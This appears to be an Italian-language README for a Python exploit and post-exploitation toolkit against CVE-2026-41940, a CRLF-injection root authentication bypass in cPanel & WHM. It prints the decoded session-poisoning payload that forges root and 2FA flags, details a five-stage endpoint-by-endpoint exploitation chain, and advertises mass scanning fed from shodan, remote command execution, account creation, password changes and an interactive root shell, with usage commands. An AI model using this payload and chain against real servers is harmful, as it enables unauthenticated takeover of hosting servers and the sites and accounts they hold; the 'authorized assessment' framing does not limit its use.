
Scanner automatizzato & toolkit post-sfruttamento per CVE-2026-41940 — bypass dell'autenticazione root di cPanel & WHM tramite iniezione CRLF nel file di sessione
English | فارسی (Persian)
██████╗██████╗ █████╗ ███╗ ██╗███████╗██╗
██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║
██║ ██████╔╝███████║██╔██╗ ██║█████╗ ██║
██║ ██╔═══╝ ██╔══██║██║╚██╗██║██╔══╝ ██║
╚██████╗██║ ██║ ██║██║ ╚████║███████╗███████╗
╚═════╝╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝╚══════╝
██████╗██╗ ██╗███████╗
██╔════╝██║ ██║██╔════╝
██║ ██║ ██║█████╗
██║ ╚██╗ ██╔╝██╔══╝
╚██████╗ ╚████╔╝ ███████╗
╚═════╝ ╚═══╝ ╚══════╝
███████╗██╗ ██╗██████╗ ██╗ ██████╗ ██╗████████╗
██╔════╝╚██╗██╔╝██╔══██╗██║ ██╔═══██╗██║╚══██╔══╝
█████╗ ╚███╔╝ ██████╔╝██║ ██║ ██║██║ ██║
██╔══╝ ██╔██╗ ██╔═══╝ ██║ ██║ ██║██║ ██║
███████╗██╔╝ ██╗██║ ███████╗╚██████╔╝██║ ██║
╚══════╝╚═╝ ╚═╝╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝
Scanner automatico e toolkit di post-exploitation per CVE-2026-41940 — bypass dell'autenticazione root di cPanel & WHM tramite CRLF injection nel file di sessione.
CPANEL CVE EXPLOIT è uno strumento Python in un singolo file progettato per valutazioni di sicurezza autorizzate di server cPanel & WHM vulnerabili a CVE-2026-41940.
La vulnerabilità consente a un attaccante remoto non autenticato di avvelenare i file di sessione di WHM tramite CRLF injection nell'header Authorization: Basic, bypassando l'autenticazione e ottenendo accesso root WHM senza credenziali valide.
| Proprietà | Valore |
|---|---|
| CVE | CVE-2026-41940 |
| Gravità | Critica |
| CVSS | 10.0 |
| Vettore di attacco | Rete / Non autenticato |
| Impatto | Accesso root WHM completo |
| Porta predefinita | 2087 (WHM) |
| Stato | Sfruttamento in natura confermato (Apr 2026) |
Nelle versioni vulnerabili di cPanel & WHM, saveSession() in Session.pm chiama filter_sessiondata() dopo aver scritto il file di sessione su disco. Un attaccante può iniettare caratteri CRLF (\r\n) attraverso l'header HTTP Authorization: Basic, che vengono scritti direttamente nel file di sessione su disco, bypassando la sanificazione.
Lo strumento utilizza un payload codificato in Base64 che decodifica come:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
Questi campi simulano una sessione WHM completamente autenticata come root, inclusi il bypass del 2FA (tfa_verified=1) e il flag di privilegio root (hasroot=1).
cPanel ha spostato filter_sessiondata() per essere eseguita prima dell'operazione di scrittura della sessione in Session.pm.
La catena di sfruttamento è composta da 5 fasi (Fase 0–4):
flowchart TD
A[Stage 0: Canonical Host Discovery] --> B[Stage 1: Mint Preauth Session]
B --> C[Stage 2: CRLF Injection via Authorization Header]
C --> D[Stage 3: Session Propagation via do_token_denied]
D --> E[Stage 4: Verify Root Access via json-api/version]
E --> F{Vulnerable?}
F -->|Yes| G[Post-Exploit Actions / Interactive Shell]
F -->|No| H[Skip Target]
A -.- A1["GET /openid_connect/cpanelid → 307 redirect reveals real hostname"]
B -.- B1["POST /login/?login_only=1 → whostmgrsession cookie"]
C -.- C1["GET / + poisoned Basic auth → /cpsessXXXXXXXXXX token"]
D -.- D1["GET /scripts2/listaccts → flush raw session to cache"]
E -.- E1["GET /cpsessXXX/json-api/version → HTTP 200 + version JSON"]
| Fase | Endpoint | Scopo |
|---|---|---|
| 0 | /openid_connect/cpanelid | Auto-scoperta del nome host canonico tramite reindirizzamento 307 |
| 1 | /login/?login_only=1 | Ottenere cookie whostmgrsession di preauth con credenziali errate |
| 2 | / | Iniettare header Authorization: Basic avvelenato con CRLF nel file di sessione |
| 3 | /scripts2/listaccts | Attivare il gadget do_token_denied per scrivere la sessione nella cache |
| 4 | /{token}/json-api/version | Confermare accesso root — HTTP 200 con JSON della versione |
| Caratteristica | Descrizione |
|---|---|
| Scansione singolo target | Catena completa di sfruttamento contro un singolo URL WHM |
| Scansione di massa | Scansione multi-thread da file o stdin |
| Rilevamento versione | Confronto automatico tra versione patchata e vulnerabile |
| API post-exploit | Cambio password, esecuzione comandi, elenco account, creazione utenti |
| Shell interattiva | Shell WHM root integrata con lettura file e comandi API |
| Login Selenium | Iniezione automatica del cookie di sessione in Chrome/Firefox |
| Fallback browser manuale | Frammenti JavaScript per login WHM manuale tramite console |
| Controllo RCE | Verifica rapida con id / uname -a dopo il bypass |
| Esportazione JSON | Salvataggio di tutti i risultati in un report JSON strutturato |
| Pipeline-ready | Funziona con pipeline httpx, subfinder, shodan e awk |
| Solo stdlib | Nessuna dipendenza pip richiesta per le funzionalità core |
| Output colorato | Log delle fasi in tempo reale con indicatori di gravità |
| Ramo | Patch a | Stato |
|---|---|---|
| 11.110.x | 11.110.0.97 | Vulnerabile sotto la patch |
| 11.118.x | 11.118.0.63 | Vulnerabile sotto la patch |
| 11.126.x | 11.126.0.54 | Vulnerabile sotto la patch |
| 11.132.x | 11.132.0.29 | Vulnerabile sotto la patch |
| 11.134.x | 11.134.0.20 | Vulnerabile sotto la patch |
| 11.136.x | 11.136.0.5 | Vulnerabile sotto la patch |
Nota: I target che eseguono versioni patchate vengono automaticamente segnalati e saltati durante la scansione.
| Pacchetto | Scopo |
|---|---|
selenium | Login automatico nel browser (--selenium) |
| Chrome / Firefox | Motore del browser per Selenium |
pip install -r requirements.txt # opzionale — solo selenium
git clone https://github.com/YOUR_USERNAME/cpanel-cve-exploit.git
cd cpanel-cve-exploit
Nessun passaggio di build richiesto. Esegui direttamente:
python3 test-cve.py --help
# Scansiona un singolo target WHM
python3 test-cve.py -u https://target.com:2087
# Scansiona con post-exploit: elenca tutti gli account cPanel
python3 test-cve.py -u https://target.com:2087 --action list